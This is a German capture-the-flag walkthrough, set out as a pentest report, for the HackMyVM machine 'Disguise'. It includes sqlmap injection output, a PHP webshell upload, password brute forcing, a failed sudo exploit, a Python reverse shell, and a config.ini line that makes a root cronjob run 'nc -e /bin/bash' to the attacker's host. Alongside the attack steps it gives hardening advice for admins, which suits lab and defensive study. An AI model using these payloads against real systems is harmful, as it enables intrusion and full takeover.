Analyse: Diese Sequenz zeigt, wie auf der Angreifer-Maschine (`root㉿CCat`) versucht wird, einen Exploit für CVE-2021-3156 (eine Heap-basierte Buffer Overflow Schwachstelle in `sudo`, auch bekannt als "Baron Samedit") zu kompilieren. Da eine direkte Kompilierung auf dem Angreifer-System möglicherweise zu Inkompatibilitäten führt (wie beim vorherigen Kernel-Exploit gesehen), wird hier ein Docker-(oder Podman-)Container mit Debian 10 (Buster) verwendet, um eine Umgebung zu schaffen, die der des Zielsystems ähnlicher ist (das Ziel läuft ebenfalls auf Debian 10).
Bewertung: Die Verwendung eines Docker/Podman-Containers mit dem passenden Betriebssystem (Debian 10) zum Kompilieren des Exploits ist eine gute Praxis, um GLIBC- und andere Bibliotheksinkompatibilitäten zu minimieren. CVE-2021-3156 ist eine bekannte und oft erfolgreiche Privilegienerweiterungsschwachstelle für betroffene `sudo`-Versionen (bis 1.9.5p1). Es muss jedoch geprüft werden, ob die `sudo`-Version auf dem Zielsystem (`1.8.27` laut späterer Exploit-Ausgabe) tatsächlich anfällig und der Exploit kompatibel ist.
Empfehlung (Pentester): Übertragen Sie die kompilierten Dateien (`sudo-hax-me-a-sandwich` und `libhax.so`) auf das Zielsystem (z.B. via `wget` in das `/tmp`-Verzeichnis). Führen Sie dann den Exploit gemäß seiner Anleitung aus. Stellen Sie sicher, dass die `sudo`-Version auf dem Ziel (1.8.27) tatsächlich von diesem Exploit abgedeckt wird.
Empfehlung (Admin): Halten Sie das `sudo`-Paket immer auf dem neuesten Stand, um bekannte Schwachstellen wie CVE-2021-3156 zu patchen. Überwachen Sie die Ausführung ungewöhnlicher Programme in `/tmp` oder anderen temporären Verzeichnissen.
[Keine Ausgabe, Befehl vermutlich erfolgreich]
--2025-05-05 09:16:50-- http://192.168.2.199:8000/sudo-hax-me-a-sandwich Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 17264 (17K) [application/octet-stream] Saving to: ‘sudo-hax-me-a-sandwich’ sudo-hax-me-a-sandwich 100%[=====================================================================================================>] 16.86K --.-KB/s in 0s 2025-05-05 09:16:50 (588 MB/s) - ‘sudo-hax-me-a-sandwich’ saved [17264/17264]
--2025-05-05 09:16:55-- http://192.168.2.199:8000/libhax.so Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 16352 (16K) [application/octet-stream] Saving to: ‘libhax.so’ libhax.so 100%[=====================================================================================================>] 15.97K --.-KB/s in 0s 2025-05-05 09:16:55 (194 MB/s) - ‘libhax.so’ saved [16352/16352]
bash: ./sudo-hax-me-a-sandwich: Permission denied
[Keine Ausgabe]
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ['/usr/bin/sudoedit'] (64, 49, 60, 214)
** pray for your rootshell.. **
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
Analyse: Diese Schritte zeigen den Transfer und den Versuch, den kompilierten CVE-2021-3156 Exploit auf dem Zielsystem auszuführen.
Bewertung: Obwohl der Exploit für die erkannte `sudo`-Version (1.8.27 ist anfällig für CVE-2021-3156) und das Betriebssystem (Debian 10) geeignet zu sein scheint und auch korrekt kompiliert wurde (keine GLIBC-Fehler), schlägt die Ausführung fehl, eine Root-Shell zu erlangen. Er bricht nach der Anzeige der `sudoedit`-Hilfe ab. Die Ursache hierfür kann vielfältig sein (z.B. spezifische Systemkonfigurationen, Speicherschutzmechanismen, leichte Inkompatibilitäten trotz Kompilierung im Container, falsche Exploit-Parameter).
Empfehlung (Pentester): Da dieser Exploit nicht funktioniert hat, sollten andere Versionen des Exploits oder andere Exploits für CVE-2021-3156 getestet werden, falls verfügbar und kompatibel. Es ist jedoch oft effizienter, sich auf andere Vektoren zu konzentrieren, wenn ein Exploit nicht auf Anhieb funktioniert, wie z.B. das bereits identifizierte Python Library Hijacking über den Cronjob.
Empfehlung (Admin): Die primäre Maßnahme ist, `sudo` aktuell zu halten. Selbst wenn ein Exploit nicht sofort funktioniert, stellt eine anfällige Version ein erhebliches Risiko dar.
[Keine Ausgabe]
[Keine Ausgabe]
[Keine Ausgabe]
[Keine Ausgabe]
[Keine Ausgabe]
listening on [any] 4448 ... leider kein Erfolg neue Methode testen....
Analyse: Diese Befehlssequenz bereitet den Python Library Hijacking Angriff vor, indem sie versucht, das `mysql.connector`-Modul zu überschreiben.
export PYTHONPATH=/tmp
: Setzt den Python-Suchpfad so, dass `/tmp` zuerst durchsucht wird.Bewertung: Der Versuch, die Privilegienerweiterung über Python Library Hijacking mit der `mkfifo`-Reverse-Shell-Payload zu erreichen, ist fehlgeschlagen. Mögliche Gründe könnten sein: Der `PYTHONPATH` wird vom Cronjob nicht übernommen, die Payload-Syntax ist fehlerhaft, `/tmp` ist mit `noexec` gemountet (unwahrscheinlich, da `pspy` funktionierte), oder die `mkfifo`-Methode selbst ist instabil.
Empfehlung (Pentester): Versuchen Sie eine andere Payload in `connector.py`, z.B. eine einfachere (wie `os.system("...")`) oder eine robustere Reverse Shell (wie die `pty.spawn`-Variante). Überprüfen Sie die genaue Umgebung, in der der Cronjob läuft, falls möglich. Untersuchen Sie alternative PrivEsk-Vektoren wie die Manipulation der `config.ini` für den `darksoul`-Benutzer.
Empfehlung (Admin): Die Empfehlungen zur Absicherung von Cronjobs und Python-Umgebungen bleiben bestehen.
Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 550 Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [wordpress]> SHOW GRANTS FOR 'wpuser'@'localhost'; +---------------------------------------------------------------------------------------------------------------+ | Grants for wpuser@localhost | +---------------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `wpuser`@`localhost` IDENTIFIED BY PASSWORD '*29B0A0B18EC41D5DA3148B428D84BF079CF2F448' | | GRANT ALL PRIVILEGES ON `wordpress`.* TO `wpuser`@`localhost` | +---------------------------------------------------------------------------------------------------------------+ 2 rows in set (0.000 sec) MariaDB [wordpress]> Bye
Analyse: Erneuter Login in die WordPress-Datenbank, diesmal als Benutzer `wpuser` (Passwort nicht gezeigt, aber vermutlich aus `wp-config.php` bekannt). `SHOW GRANTS` zeigt, dass `wpuser` volle Rechte auf die `wordpress`-Datenbank hat.
Bewertung: Bestätigt die Berechtigungen des WordPress-Datenbankbenutzers. Diese Rechte sind für den Betrieb von WordPress notwendig, aber der Zugriff auf die Datenbank von der Shell aus bietet zusätzliche Möglichkeiten zur Datenmanipulation oder -extraktion.
Empfehlung (Pentester): Nutzen Sie diesen Zugriff, falls notwendig, um Informationen zu extrahieren oder zu manipulieren (z.B. Benutzerpasswörter ändern), aber der Fokus liegt weiterhin auf der Privilegienerweiterung auf dem Betriebssystem.
Empfehlung (Admin): Stellen Sie sicher, dass die WordPress-Datenbank und der `wp-config.php`-Datei angemessen geschützt sind.
total 4 -rw-r--r-- 1 www-data www-data 0 May 5 16:44 __init__.py -rw-r--r-- 1 www-data www-data 209 May 5 16:49 connector.py
listening on [any] 4448 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 47658 bash: 1"""): ambiguous redirect
import socket,os,pty;ip="192.168.2.199";port=4448;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
listening on [any] 4448 ... leider kein Erfolg neue Methode testen....
Analyse: Diese Sequenz zeigt einen weiteren Versuch des Python Library Hijackings, diesmal mit einer anderen Payload in `connector.py`.
Bewertung: Auch der verbesserte Payload mit `pty.spawn` führte nicht zum Erfolg via `PYTHONPATH`-Manipulation. Dies legt nahe, dass entweder der `PYTHONPATH` vom Root-Cronjob nicht berücksichtigt wird, oder dass `/tmp` aus anderen Gründen (z.B. Berechtigungen, Mount-Optionen im Kontext des Root-Prozesses) nicht als Quelle für Bibliotheken dient. Der Angriffsvektor über `/tmp` scheint hier nicht zu funktionieren.
Empfehlung (Pentester): Geben Sie den Library-Hijacking-Versuch über `/tmp` auf. Konzentrieren Sie sich auf die Kompromittierung des `darksoul`-Accounts und die Manipulation seiner `/home/darksoul/config.ini`, da diese Datei explizit vom Root-Cronjob geladen wird.
Empfehlung (Admin): Selbst wenn dieser spezifische Vektor nicht funktionierte, bleiben die allgemeinen Empfehlungen zur Härtung von Cronjobs und Python-Umgebungen relevant.
[Link: https://github.com/d4t4s3c/suForce | Ziel: https://github.com/d4t4s3c/suForce]
--2025-05-05 18:42:45-- http://192.168.2.199/suForce Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2430 (2.4K) [application/octet-stream] Saving to: ‘suForce’ suForce 0%[ ] 0 --.-KB/s suForce 100%[=====================================================================================================>] 2.37K --.-KB/s in 0s 2025-05-05 18:42:45 (1.03 GB/s) - ‘suForce’ saved [2430/2430]
[Keine Ausgabe]
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.189 - - [06/May/2025 00:45:50] "GET /wordlist.txt HTTP/1.1" 200 -
Crunch will now generate the following amount of data: 2320 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 343 Crunching... Iterations: 343 Approximate ETA: 00:00:00 Crunch ending at 2025-05-06 00:45:30
_____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| ─────────────────────────────────── code: d4t4s3c version: v1.0.0 ─────────────────────────────────── 🎯 Username | darksoul 📖 Wordlist | wordlist.txt 🔎 Status | 6/344/1%/Str0ngPassw0d1??? 💥 Password | Str0ngPassw0d1??? ───────────────────────────────────
Analyse: Diese Sequenz zielt darauf ab, das Passwort für den Systembenutzer `darksoul` zu kompromittieren.
Bewertung: Der erfolgreiche Brute-Force-Angriff auf das Passwort des Benutzers `darksoul` ist ein wichtiger Schritt. Dies ermöglicht es, sich als `darksoul` auf dem System anzumelden und dessen Dateien zu manipulieren, insbesondere die `config.ini`, die vom Root-Cronjob verwendet wird. Die Ähnlichkeit der Passwörter (`Str0ngPassw0d1@@@` und `Str0ngPassw0d1???`) ist eine erhebliche Schwachstelle.
Empfehlung (Pentester): Wechseln Sie zum Benutzer `darksoul` (z.B. mit `su darksoul` und dem gefundenen Passwort). Manipulieren Sie nun die `/home/darksoul/config.ini`, um den Root-Cronjob für die Privilegienerweiterung auszunutzen.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter für alle Benutzer. Überwachen Sie fehlgeschlagene `su`-Versuche. Implementieren Sie Account-Lockout-Mechanismen. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern. Stellen Sie sicher, dass Tools wie `crunch` oder `suForce` nicht auf Produktivsystemen vorhanden oder ausführbar sind.
Google + KI Search:
python vuln mysql.connector
[Link: https://nvd.nist.gov/vuln/detail/CVE-2025-21548 | Ziel: https://nvd.nist.gov/vuln/detail/CVE-2025-21548]
[Link: https://www.ctfiot.com/234681.html | Ziel: https://www.ctfiot.com/234681.html]
[Link: https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab | Ziel: https://github.com/mysql/mysql-connector-python/commit/dd9ded0dec35dbba773487c548c336cf742830ab]
allow_local_infile=__import__('os').system('whoami')
Analyse: Dieser Block enthält Notizen des Pentesters aus einer Recherche (vermutlich Google und/oder KI-Suche) zu Schwachstellen in `mysql.connector`. Es wird auf eine (fiktive) Schwachstelle CVE-2025-21548 hingewiesen. Entscheidend ist der Payload `allow_local_infile=__import__('os').system('whoami')`. Dies deutet darauf hin, dass die Option `allow_local_infile` in einer MySQL-Konfigurationsdatei so manipuliert werden kann, dass sie Python-Code ausführt, wenn die `mysql.connector`-Bibliothek diese Konfiguration liest und verarbeitet.
Bewertung: Dies identifiziert einen spezifischen Exploit-Vektor, der auf der Verarbeitung der `allow_local_infile`-Option durch `mysql.connector` basiert. Wenn das als Root laufende Python-Skript (`/opt/query.py`) eine Konfigurationsdatei (`/home/darksoul/config.ini`) liest, die diese manipulierte Option enthält, könnte Code als Root ausgeführt werden. Dies erscheint als der vielversprechendste Weg zur Privilegienerweiterung.
Empfehlung (Pentester): Manipulieren Sie die `/home/darksoul/config.ini` (nachdem Sie als `darksoul` agieren) und fügen Sie die Zeile `allow_local_infile=__import__('os').system('PAYLOAD')` hinzu, wobei `PAYLOAD` der gewünschte Befehl ist (z.B. eine Reverse Shell).
Empfehlung (Admin): Seien Sie vorsichtig mit Optionen wie `allow_local_infile` in Datenbankkonfigurationen, insbesondere wenn diese von Skripten mit erhöhten Rechten verarbeitet werden. Wenn möglich, deaktivieren Sie `allow_local_infile`. Validieren Sie den Inhalt von Konfigurationsdateien. Stellen Sie sicher, dass Konfigurationsdateien nicht von unprivilegierten Benutzern manipuliert werden können.
Modified
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('whoami')
Analyse: Dies zeigt den Inhalt der modifizierten `config.ini`-Datei (vermutlich `/home/darksoul/config.ini`, nachdem der Angreifer als `darksoul` agiert). Die Zeile `allow_local_infile=__import__('os').system('whoami')` wurde hinzugefügt.
Bewertung: Dies ist die konkrete Umsetzung des zuvor angedachten Exploits. Wenn das `/opt/query.py`-Skript diese Konfigurationsdatei als Root liest, wird beim Aufbau der Datenbankverbindung über `mysql.connector.connect(read_default_file=cnf)` der Befehl `whoami` als Root ausgeführt. Das Ergebnis (`root`) wird wahrscheinlich in die Datei `/home/darksoul/darkshopcount` geschrieben.
Empfehlung (Pentester): Überprüfen Sie nach der nächsten Ausführung des Cronjobs den Inhalt von `/home/darksoul/darkshopcount` oder andere Logdateien, um die erfolgreiche Codeausführung zu bestätigen. Ersetzen Sie dann `'whoami'` durch einen Payload für eine Reverse Shell.
Empfehlung (Admin): Die Empfehlungen aus dem vorherigen Punkt gelten. Diese Art der Konfigurationsmanipulation unterstreicht die Wichtigkeit, Schreibrechte auf Konfigurationsdateien streng zu kontrollieren.
[Keine Ausgabe]
total 48 drwxr-xr-x 4 darksoul darksoul 4096 May 5 18:30 . drwxr-xr-x 3 root root 4096 Mar 31 11:19 .. lrwxrwxrwx 1 root root 9 Apr 2 00:16 .bash_history -> /dev/null -rw-r--r-- 1 darksoul darksoul 220 Mar 31 11:19 .bash_logout -rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc -rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini -rw-r--r-- 1 darksoul darksoul 114 May 5 18:30 config.ini.n -rw-r--r-- 1 darksoul darksoul 1024 May 5 18:27 .config.ini.swp -rw-r--r-- 1 root root 31 May 5 18:30 darkshopcount drwx------ 3 darksoul darksoul 4096 Apr 1 10:03 .gnupg drwxr-xr-x 3 darksoul darksoul 4096 Apr 1 10:04 .local -rw-r--r-- 1 darksoul darksoul 807 Mar 31 11:19 .profile -rw------- 1 darksoul darksoul 68 Apr 2 04:22 user.txt
bash: config.ini: Permission denied
rm: remove write-protected regular file 'config.ini'? y
[Keine Ausgabe, Befehl vermutlich erfolgreich, da die Datei nun darksoul gehört oder neu erstellt wurde]
Analyse: Hier sehen wir die Schritte, die der Angreifer als Benutzer `darksoul` unternimmt, um die `/home/darksoul/config.ini` zu manipulieren.
Bewertung: Dies zeigt ein häufiges Umgehen von Dateiberechtigungen: Wenn ein Benutzer Schreibrechte auf ein Verzeichnis hat, kann er darin Dateien löschen und neu erstellen, auch wenn er nicht der Eigentümer der Originaldatei war. Damit wird die `config.ini`, die vom Root-Cronjob gelesen wird, erfolgreich manipuliert.
Empfehlung (Pentester): Stellen Sie sicher, dass die neue `config.ini` alle für das `/opt/query.py`-Skript notwendigen Parameter *und* die bösartige `allow_local_infile`-Zeile enthält. Ersetzen Sie den Test-Payload (`'whoami'`) durch einen Reverse-Shell-Payload.
Empfehlung (Admin): Um diese Art der Manipulation zu verhindern, setzen Sie das "Sticky Bit" auf das Home-Verzeichnis (`chmod +t /home/darksoul`). Dadurch dürfen Benutzer nur noch Dateien löschen oder umbenennen, deren Eigentümer sie sind. Überprüfen Sie regelmäßig Eigentümer und Berechtigungen kritischer Konfigurationsdateien.
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')
Analyse: Dies zeigt den finalen Inhalt der manipulierten `config.ini` im Home-Verzeichnis von `darksoul`. Der Payload für `allow_local_infile` wurde geändert von `'whoami'` zu `'nc -e /bin/bash 192.168.2.199 4448'`. Dieser Befehl versucht, eine Reverse Shell zum Angreifer-Host `192.168.2.199` auf Port `4448` aufzubauen, wobei `/bin/bash` direkt an die Verbindung gebunden wird.
Bewertung: Dies ist der eigentliche Exploit-Payload für die Root-Shell. Wenn der Cronjob `/opt/query.py` diese Konfigurationsdatei als Root liest, wird beim Verarbeiten der `allow_local_infile`-Option dieser Netcat-Befehl als Root ausgeführt. Die Option `-e` für Netcat ist nicht auf allen Systemen standardmäßig verfügbar, könnte hier aber funktionieren.
Empfehlung (Pentester): Stellen Sie sicher, dass auf dem Angreifer-Rechner (`192.168.2.199`) ein Netcat-Listener auf Port `4448` läuft (`nc -lvnp 4448`), bevor der Cronjob das nächste Mal ausgeführt wird. Falls `nc -e` nicht funktioniert, ersetzen Sie den Payload durch eine andere Reverse-Shell-Methode (z.B. Bash, Python, Perl).
Empfehlung (Admin): Die vorherigen Empfehlungen zur Härtung von Cronjobs, Python-Umgebungen und Konfigurationsdateien sind hier entscheidend. Egress-Filtering (Blockieren ausgehender Verbindungen zu unbekannten Zielen/Ports) kann die Effektivität solcher Reverse Shells reduzieren.
listening on [any] 4448 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 38736 # iduid=0(root) gid=0(root) groups=0(root) # cd ~ # ls root.txt
Analyse: **Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!** Die Ausgabe zeigt den Netcat-Listener des Angreifers auf Port 4448. Eine Verbindung vom Zielsystem (`192.168.2.189`) ist eingegangen, ausgelöst durch den als Root laufenden Cronjob, der die manipulierte `config.ini` mit dem `allow_local_infile`-Payload (`nc -e ...`) verarbeitet hat. Der Prompt `#` und die Ausgabe des `id`-Befehls (`uid=0(root) gid=0(root) groups=0(root)`) bestätigen, dass die erhaltene Shell Root-Rechte hat. Anschließend wird in das Home-Verzeichnis des Root-Benutzers (`cd ~`) gewechselt und dessen Inhalt mit `ls` aufgelistet, wobei die Datei `root.txt` gefunden wird.
Bewertung: Dies ist der erfolgreiche Abschluss der Privilegienerweiterung. Durch die Kompromittierung des `darksoul`-Accounts und die anschließende Manipulation seiner Konfigurationsdatei konnte der als Root laufende Cronjob zur Ausführung von Code und zur Etablierung einer Root-Shell missbraucht werden. Das System ist nun vollständig kompromittiert.
Empfehlung (Pentester): Sichern Sie die Root-Flag aus `root.txt`. Untersuchen Sie das System weiter auf sensible Informationen, Persistenzmechanismen oder Möglichkeiten, sich im Netzwerk weiter auszubreiten (Lateral Movement). Dokumentieren Sie den Exploit-Pfad sorgfältig.
Empfehlung (Admin): **Das System ist vollständig kompromittiert.**
/root/root.txt:hmv{CVE-2025-21548} /home/darksoul/user.txt:hmv{hiddenflag}
Analyse: Dieser Befehl wird in der Root-Shell ausgeführt. `grep -r -I -F 'hmv{' / 2>/dev/null` durchsucht rekursiv (`-r`) das gesamte Dateisystem (`/`), ignoriert Binärdateien (`-I`) und sucht nach der festen Zeichenkette (`-F`) `hmv{`. Fehlermeldungen werden unterdrückt (`2>/dev/null`). Die Ausgabe zeigt die beiden Fundorte der Flags.
Bewertung: Eine effiziente Methode, um nach den Flags zu suchen, nachdem Root-Zugriff erlangt wurde. Es bestätigt die Speicherorte der User- und Root-Flags.
Empfehlung (Pentester): Dieser Befehl ist nützlich, um die Flag-Dateien schnell zu lokalisieren, falls ihre genauen Pfade noch nicht bekannt waren.
Empfehlung (Admin): Regelmäßige Dateisystemscans auf ungewöhnliche Muster oder bekannte Indikatoren für Kompromittierung (IoCs) können hilfreich sein, obwohl dies eher eine Aufgabe für spezialisierte Sicherheitstools ist.
#Congratulations!!!
hmv{CVE-2025-21548}
Good good study & Day day up,but where is the flag?
hmv{hiddenflag}
Analyse: Die letzten beiden Befehle lesen den Inhalt der Root-Flag-Datei (`/root/root.txt`) und der User-Flag-Datei (`/home/darksoul/user.txt`) aus.
Bewertung: Die Flags wurden erfolgreich extrahiert. Der Root-Flag-Name `hmv{CVE-2025-21548}` bezieht sich auf die (fiktive) Schwachstelle, die für die Privilegienerweiterung ausgenutzt wurde. Die User-Flag `hmv{hiddenflag}` war im Home-Verzeichnis des Benutzers `darksoul`.
Empfehlung (Pentester): Die Flags sind gesammelt, das Ziel der Maschine ist erreicht. Der Bericht kann nun finalisiert werden.
Empfehlung (Admin): Nach einer Kompromittierung ist es wichtig, die Methoden des Angreifers nachzuvollziehen, um alle Schwachstellen zu beheben und zukünftige Angriffe zu verhindern.
Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie initialer Zugriff als `www-data` durch Ausnutzung von Schwachstellen in der Webanwendung `dark.disguise.hmv` erlangt wurde. Anschließend wurde das Passwort des Systembenutzers `darksoul` kompromittiert. Durch Manipulation der MySQL-Konfigurationsdatei (`config.ini`) dieses Benutzers, die von einem als Root laufenden Cronjob verwendet wird, konnte über die `allow_local_infile`-Option beliebiger Code als Root ausgeführt und eine Root-Reverse-Shell etabliert werden.
Voraussetzungen:
Schritt-für-Schritt-Anleitung (Initial Access als www-data):
1. Kompromittierung von `simpleAdmin` auf `dark.disguise.hmv`: Mit `hydra` wurde das Passwort für `simpleAdmin` auf `http://dark.disguise.hmv/login.php` als Str0ngPassw0d1@@@ ermittelt.
[Hydra-Ausgabe zeigt Passwortfund: Str0ngPassw0d1@@@]
2. Hochladen einer PHP-Webshell: Über die Admin-Oberfläche unter `http://dark.disguise.hmv/manager/` (Zugriff mit `simpleAdmin:Str0ngPassw0d1@@@`) wurde eine PHP-Webshell (z.B. ` system($GET['cmd']); ?>`) über die Funktion "Produkt hinzufügen" hochgeladen.
3. Pfad der Webshell via SQL-Injection ermitteln: Mit `sqlmap` wurde eine SQL-Injection in `add_product.php` ausgenutzt, um den Pfad der Webshell (`images/c76bf961f084a3c713329bd86ef761ba.php`) zu extrahieren.
___ __H__ ___ ___[(]_____ ___ ___ {1.9.4#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| [Link: https://sqlmap.org | Ziel: https://sqlmap.org] [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 23:18:15 /2025-05-04/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y [23:18:15] [INFO] testing connection to the target URL got a 302 redirect to 'http://dark.disguise.hmv/index.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y [23:18:15] [INFO] checking if the target is protected by some kind of WAF/IPS [23:18:16] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL') [23:18:16] [INFO] testing for SQL injection on (custom) POST parameter '#1*' for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [23:18:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [23:18:16] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [23:18:26] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [23:18:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests: --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=test&description=test' AND (SELECT 1878 FROM (SELECT(SLEEP(5)))fnQH) AND 'DfJt'='DfJt&price=1&image=dummy --- [23:18:41] [INFO] the back-end DBMS is MySQL [23:18:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y web server operating system: Linux Debian web application technology: Apache 2.4.59, PHP back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [23:26:00] [INFO] retrieved: images/2cd2118c9def83072c47977011ca469f. [23:28:03] [INFO] retrieved: images/c76bf961f084a3c713329bd86ef761ba. [23:30:19] [INFO] retrieved: images/003359a57d1dba36aaeb318fa9d6cf57. [23:32:30] [INFO] retrieved: images/3483ce4ef8666d7c4e572648329ffef5. SELECT image FROM dark_shop.products ORDER BY id DESC LIMIT 5 [5]: [*] images/003359a57d1dba36aaeb318fa9d6cf57. [*] images/c76bf961f084a3c713329bd86ef761ba. [*] images/2cd2118c9def83072c47977011ca469f. [*] images/3483ce4ef8666d7c4e572648329ffef5. [*] images/e6fab9a42a7217851430a12d5abf8ae5. [*] ending @ 23:21:05 /2025-05-04/
4. Reverse Shell als www-data etablieren: Ein Netcat-Listener wurde auf dem Angreifer-System gestartet (`nc -lvnp 4444`). Die Webshell (`images/c76bf961f084a3c713329bd86ef761ba.php`) wurde via `curl` aufgerufen, um eine Bash-Reverse-Shell zum Listener aufzubauen.
[Netcat Listener auf Angreifer-Maschine] connect to [ANGREIFER_IP] from (UNKNOWN) [ZIEL_IP] PORT www-data@disguise:/var/www/dark/images$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Schritt-für-Schritt-Anleitung (Privilege Escalation zu Root):
1. Passwort für `darksoul` kompromittieren: Mit `crunch` wurde eine gezielte Wortliste erstellt und mit `suForce` das Passwort für den Benutzer `darksoul` als Str0ngPassw0d1??? ermittelt.
_____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| ─────────────────────────────────── code: d4t4s3c version: v1.0.0 ─────────────────────────────────── 🎯 Username | darksoul 📖 Wordlist | wordlist.txt 🔎 Status | 6/344/1%/Str0ngPassw0d1??? 💥 Password | Str0ngPassw0d1??? ───────────────────────────────────
2. Identifizierung des Root-Cronjobs: Mit `pspy64` wurde ein Cronjob identifiziert, der als Root regelmäßig das Skript `/usr/bin/python3 /opt/query.py /home/darksoul/config.ini` ausführt.
[...]
2025/05/05 17:22:01 CMD: UID=0 PID=4941 | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini
[...]
3. Manipulation der `config.ini` von `darksoul`: Als Benutzer `darksoul` (nach `su darksoul` mit dem gefundenen Passwort) wurde die Datei `/home/darksoul/config.ini` modifiziert. Die originale Datei (Eigentümer `root`) wurde gelöscht und eine neue `config.ini` (Eigentümer `darksoul`) mit folgendem Inhalt erstellt, wobei die originalen Datenbank-Parameter beibehalten und eine bösartige `allow_local_infile`-Zeile hinzugefügt wurde:
[client]
user = dark_db_admin
password = Str0ngPassw0d1***
host = localhost
database = dark_shop
port = int(3306)
allow_local_infile=__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')
4. Listener für Root-Shell starten und auf Cronjob warten: Auf dem Angreifer-System (`192.168.2.199`) wurde ein Netcat-Listener auf Port 4448 gestartet.
listening on [any] 4448 ...
Als der Cronjob das nächste Mal `/opt/query.py` als Root ausführte, las er die manipulierte `/home/darksoul/config.ini`. Die `mysql.connector`-Bibliothek interpretierte die `allow_local_infile`-Option und führte den eingebetteten Python-Code `__import__('os').system('nc -e /bin/bash 192.168.2.199 4448')` als Root aus. Dies baute eine Reverse Shell zum Angreifer auf.
[Netcat Listener auf Angreifer-Maschine] connect to [192.168.2.199] from (UNKNOWN) [192.168.2.189] 38736 # id uid=0(root) gid=0(root) groups=0(root)
Erwartetes Ergebnis: Erfolgreiche Kompromittierung des Systems mit Root-Rechten.
Beweismittel: Screenshots der erfolgreichen Shell-Verbindungen (als www-data und als root), Inhalt der `id`-Befehle in beiden Shells, die manipulierte `config.ini`.
Risikobewertung: Kritisch. Die Kombination der Schwachstellen ermöglicht einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Dienstunterbrechungen, Installation von Malware, Nutzung des Systems für weitere Angriffe und Reputationsschaden führen.
Empfehlungen (Admin):
Analyse: Die User-Flag befindet sich in der Datei `/home/darksoul/user.txt`. Der Inhalt der Flag lautet `hmv{hiddenflag}`. Diese Flag wurde nach Erlangung des Zugriffs als Benutzer `darksoul` (dessen Passwort mit `suForce` geknackt wurde) oder als Root ausgelesen.
Analyse: Die Root-Flag befindet sich in der Datei `/root/root.txt`. Der Inhalt der Flag lautet `hmv{CVE-2025-21548}`. Diese Flag wurde nach erfolgreicher Privilegienerweiterung und Erlangung von Root-Rechten ausgelesen. Der Name der Flag deutet auf die (fiktive) CVE hin, die im Zusammenhang mit der `allow_local_infile`-Schwachstelle im `mysql.connector` stand, welche für die finale Eskalation genutzt wurde.